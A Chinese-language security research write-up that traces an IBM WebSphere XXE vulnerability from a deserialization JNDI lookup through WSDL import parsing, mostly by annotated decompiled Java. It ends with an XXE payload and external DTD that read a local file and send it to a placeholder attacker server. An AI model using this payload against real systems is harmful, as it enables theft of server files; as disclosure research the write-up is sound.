作者:Longofo@知道創宇404實驗室 & r00t4dm@奇安信A-TEAM
時間:2020年9月21日
2020年9月17日,IBM發布了一個WebSphere XXE漏洞公告。 當時看到這個消息心想我們挖的那個XXE很可能與這個重了。然后看了下補丁,果不其然,當時心里就很遺憾,本來是打算一起找到一個RCE漏洞在一起提交XXE漏洞的,因為害怕提交了XXE官方把反序列化入口也封了,例如CVE-2020-4450,直接封掉了反序列化入口。奈何WebSphere找了一兩周也沒什么發現,后來正打算把XXE提交了,就看到官方發布了公告,看了下作者,是綠盟的一位大佬,也是CVE-2020-4450的發現者之一,這些默默挖洞的大佬,只可遠觀眺望啊。WebSphere的分析似乎挺少,聊聊幾篇分析,不像Weblogic那樣量產漏洞,單是一個高版本sdk就攔截了很多鏈或者說連接可用鏈的點,心想與其爛在手里,還不如分享出來,下面寫下我們發現過程,其實重要的不是這個XXE,而是到達XXE這個點的前半部分。
補丁
先來看看補丁,只能看出是修復了一個XXE,不知道是哪兒的XXE:

可以看出這里是修復了一個XXE漏洞,但是這只是一個Utils,我們找到的那個XXE剛好也用了這個Utils。
漏洞分析
最開始研究WebSphere就是前不久的CVE-2020-4450,這個漏洞外面已經有分析了。為了更熟悉一點WebSphere,我們也去研究了歷史補丁,例如印象比較深的就是前不久的CVE-2020-4276,這個漏洞算是歷史漏洞CVE-2015-7450的認證方式繞過,RCE的過程與CVE-2015-7450沒區別。后面意外的找到另一個反序列化入口,在確認了已經無法在歷史漏洞上做文章的時,只好從readObject、readExternal、toString、compare等函數去嘗試找下了,后來在一個readObject找到一個能JNDI注入的地方,但是由于sdk高版本的原因,能利用的方式就只能是本地factory或利用jndi本地反序列化了,但是WebSphere公開的利用鏈都被堵上了,本地反序列化其實沒什么作用在這里,所以只剩下看本地Factory了。反序列化入口暫時先不給出,可能這樣的反序列化入口還有很多,我們碰巧遇到了其中一個,如果后面有幸找到了RCE漏洞,就把我們找到的入口寫出來,下面從那個readObject中的JNDI開始吧。
在com.ibm.ws.ejb.portable.EJBMetaDataImpl#readObject中:
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
try {
in.defaultReadObject();
...
...
this.ivStatelessSession = in.readBoolean();
ClassLoader loader = (ClassLoader)AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return Thread.currentThread().getContextClassLoader();
}
});
this.ivBeanClassName = in.readUTF();
this.ivHomeClass = loader.loadClass(in.readUTF());
this.ivRemoteClass = loader.loadClass(in.readUTF());
if (!this.ivSession) {
this.ivPKClass = loader.loadClass(in.readUTF());
}
this.ivHomeHandle = (HomeHandle)in.readObject();
EJBHome ejbHomeStub = this.ivHomeHandle.getEJBHome();//ivHomeHandle是一個接口,我們找到了HomeHandleImpl,里面進行了JNDI查詢,并且url可控
this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ejbHomeStub, this.ivHomeClass);//如果跟蹤過CVE-2020-4450就能感覺到,這里十分類似CVE-2020-4450,不過缺少了后續的調用,無法像CVE-2020-4450利用WSIF的方式觸發后續的RCE,WSIF之前那個XXE也被修復了
} catch (IOException var6) {
throw var6;
} catch (ClassNotFoundException var7) {
throw var7;
}
}
com.ibm.ws.ejb.portable.HomeHandleImpl#getEJBHome如下:
public EJBHome getEJBHome() throws RemoteException {
if (this.ivEjbHome == null) {
NoSuchObjectException re;
...
...
InitialContext ctx;
try {
if (this.ivInitialContextProperties == null) {
ctx = new InitialContext();
} else {
try {
ctx = new InitialContext(this.ivInitialContextProperties);
} catch (NamingException var5) {
ctx = new InitialContext();
}
}
this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.ivJndiName), homeClass);//進行了JNDI查詢,ivJndiName是屬性,很容易控制
} catch (NoInitialContextException var6) {
Properties p = new Properties();
p.put("java.naming.factory.initial", "com.ibm.websphere.naming.WsnInitialContextFactory");
ctx = new InitialContext(p);
this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.ivJndiName), homeClass);
}
...
...
return this.ivEjbHome;
}
如果是sdk低版本,直接就是外部加載factory rce利用了,但是天不隨人愿,如果這么容易就不會有CVE-2020-4450那種復雜的利用了。
接下來就只能一個一個看本地的factory了,也不多大概幾十個,一個一個看吧。在com.ibm.ws.webservices.engine.client.ServiceFactory#getObjectInstance中,找到了那個XXE:
public Object getObjectInstance(Object refObject, Name name, Context nameCtx, Hashtable environment) throws Exception {
Object instance = null;
if (refObject instanceof Reference) {
Reference ref = (Reference)refObject;
RefAddr addr = ref.get("service classname");
Object obj = null;
if (addr != null && (obj = addr.getContent()) instanceof String) {
instance = ClassUtils.forName((String)obj).newInstance();
} else {
addr = ref.get("WSDL location");
if (addr != null && (obj = addr.getContent()) instanceof String) {
URL wsdlLocation = new URL((String)obj);
addr = ref.get("service namespace");
if (addr != null && (obj = addr.getContent()) instanceof String) {
String namespace = (String)obj;
addr = ref.get("service local part");
if (addr != null && (obj = addr.getContent()) instanceof String) {
String localPart = (String)obj;
QName serviceName = QNameTable.createQName(namespace, localPart);
Class[] formalArgs = new Class[]{URL.class, QName.class};
Object[] actualArgs = new Object[]{wsdlLocation, serviceName};
Constructor ctor = Service.class.getDeclaredConstructor(formalArgs);
instance = ctor.newInstance(actualArgs);//調用了Service構造函數
}
}
}
}
addr = ref.get("maintain session");
if (addr != null && instance instanceof Service) {
((Service)instance).setMaintainSession(true);
}
}
return instance;
}
com.ibm.ws.webservices.engine.client.Service#Service(java.net.URL, javax.xml.namespace.QName),在構造函數中:
public Service(URL wsdlLocation, QName serviceName) throws ServiceException {
if (log.isDebugEnabled()) {
log.debug("Entry Service(URL, QName) " + serviceName.toString());
}
this.serviceName = serviceName;
this.wsdlLocation = wsdlLocation;
Definition def = cachingWSDL ? (Definition)cachedWSDL.get(wsdlLocation.toString()) : null;
if (def == null) {
Document doc = null;
try {
doc = XMLUtils.newDocument(wsdlLocation.toString());//wsdlLocation外部可控,這里XMLUtils.newDocument進去就請求了wsdlLocation獲取xml文件并解析
} catch (Exception var8) {
FFDCFilter.processException(var8, "com.ibm.ws.webservices.engine.client.Service.initService", "199", this);
throw new ServiceException(Messages.getMessage("wsdlError00", "", "\n" + var8));
}
try {
WSDLFactory factory = new WSDLFactoryImpl();
WSDLReader reader = factory.newWSDLReader();
reader.setFeature("javax.wsdl.verbose", false);
def = reader.readWSDL(wsdlLocation.toString(), doc);//一開始我們只停留在了上面那個XMLUtils.newDocument,利用那兒的異常帶不出去數據,由于是高版本sdk,外帶也只能帶一行數據。后來看到reader.readWSDL進去還能利用另一種方式外帶全部數據
if (cachingWSDL) {
cachedWSDL.put(wsdlLocation.toString(), def);
}
} catch (Exception var7) {
FFDCFilter.processException(var7, "com.ibm.ws.webservices.engine.client.Service.initService", "293", this);
throw new ServiceException(Messages.getMessage("wsdlError00", "", "\n" + var7));
}
}
this.initService(def);
if (log.isDebugEnabled()) {
log.debug("Exit Service(URL, QName) ");
}
}
com.ibm.wsdl.xml.WSDLReaderImpl#readWSDL(java.lang.String, org.w3c.dom.Document)之后,會調用到一個com.ibm.wsdl.xml.WSDLReaderImpl#parseDefinitions:
protected Definition parseDefinitions(String documentBaseURI, Element defEl, Map importedDefs) throws WSDLException {
checkElementName(defEl, Constants.Q_ELEM_DEFINITIONS);
WSDLFactory factory = this.getWSDLFactory();
Definition def = factory.newDefinition();
if (this.extReg != null) {
def.setExtensionRegistry(this.extReg);
}
String name = DOMUtils.getAttribute(defEl, "name");
String targetNamespace = DOMUtils.getAttribute(defEl, "targetNamespace");
NamedNodeMap attrs = defEl.getAttributes();
if (importedDefs == null) {
importedDefs = new Hashtable();
}
if (documentBaseURI != null) {
def.setDocumentBaseURI(documentBaseURI);
((Map)importedDefs).put(documentBaseURI, def);
}
if (name != null) {
def.setQName(new QName(targetNamespace, name));
}
if (targetNamespace != null) {
def.setTargetNamespace(targetNamespace);
}
int size = attrs.getLength();
for(int i = 0; i < size; ++i) {
Attr attr = (Attr)attrs.item(i);
String namespaceURI = attr.getNamespaceURI();
String localPart = attr.getLocalName();
String value = attr.getValue();
if (namespaceURI != null && namespaceURI.equals("http://www.w3.org/2000/xmlns/")) {
if (localPart != null && !localPart.equals("xmlns")) {
def.addNamespace(localPart, value);
} else {
def.addNamespace((String)null, value);
}
}
}
for(Element tempEl = DOMUtils.getFirstChildElement(defEl); tempEl != null; tempEl = DOMUtils.getNextSiblingElement(tempEl)) {
if (QNameUtils.matches(Constants.Q_ELEM_IMPORT, tempEl)) {
def.addImport(this.parseImport(tempEl, def, (Map)importedDefs));
} else if (QNameUtils.matches(Constants.Q_ELEM_DOCUMENTATION, tempEl)) {
def.setDocumentationElement(tempEl);
} else if (QNameUtils.matches(Constants.Q_ELEM_TYPES, tempEl)) {
def.setTypes(this.parseTypes(tempEl, def));
} else if (QNameUtils.matches(Constants.Q_ELEM_MESSAGE, tempEl)) {
def.addMessage(this.parseMessage(tempEl, def));
} else if (QNameUtils.matches(Constants.Q_ELEM_PORT_TYPE, tempEl)) {
def.addPortType(this.parsePortType(tempEl, def));
} else if (QNameUtils.matches(Constants.Q_ELEM_BINDING, tempEl)) {
def.addBinding(this.parseBinding(tempEl, def));
} else if (QNameUtils.matches(Constants.Q_ELEM_SERVICE, tempEl)) {
def.addService(this.parseService(tempEl, def));
} else {
def.addExtensibilityElement(this.parseExtensibilityElement(Definition.class, tempEl, def));
}
}
this.parseExtensibilityAttributes(defEl, Definition.class, def, def);
return def;
}
com.ibm.wsdl.xml.WSDLReaderImpl#parseImport:
protected Import parseImport(Element importEl, Definition def, Map importedDefs) throws WSDLException {
Import importDef = def.createImport();
String locationURI;
try {
String namespaceURI = DOMUtils.getAttribute(importEl, "namespace");
locationURI = DOMUtils.getAttribute(importEl, "location");//獲取location屬性
String contextURI = null;
if (namespaceURI != null) {
importDef.setNamespaceURI(namespaceURI);
}
if (locationURI != null) {
importDef.setLocationURI(locationURI);
if (this.importDocuments) {
try {
contextURI = def.getDocumentBaseURI();
Definition importedDef = null;
InputStream inputStream = null;
InputSource inputSource = null;
URL url = null;
if (this.loc != null) {
inputSource = this.loc.getImportInputSource(contextURI, locationURI);
String liu = this.loc.getLatestImportURI();
importedDef = (Definition)importedDefs.get(liu);
if (inputSource.getSystemId() == null) {
inputSource.setSystemId(liu);
}
} else {
URL contextURL = contextURI != null ? StringUtils.getURL((URL)null, contextURI) : null;
url = StringUtils.getURL(contextURL, locationURI);
importedDef = (Definition)importedDefs.get(url.toString());
if (importedDef == null) {
inputStream = StringUtils.getContentAsInputStream(url);//進行了請求,可以通過這個請求將數據外帶,但是還是有些限制,例如有&或"等字符的文件會報錯導致帶不了
...
...
xml payload:
xml如下:
<!DOCTYPE x [
<!ENTITY % aaa SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % bbb SYSTEM "http://yourip:8000/xx.dtd">
%bbb;
]>
<definitions name="HelloService" xmlns="http://schemas.xmlsoap.org/wsdl/">
&ddd;
</definitions>
xx.dtd如下:
<!ENTITY % ccc '<!ENTITY ddd '<import namespace="uri" location="http://yourip:8000/xxeLog?%aaa;"/>'>'>%ccc;

最后
我們只看了浮在表面上的一些地方,人工最多只看了兩層調用,也許RCE隱藏在更深的地方或者知識盲點現在沒找到呢,還是得有個屬于自己的能查找鏈的工具,工具不會累,人會。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1342/
暫無評論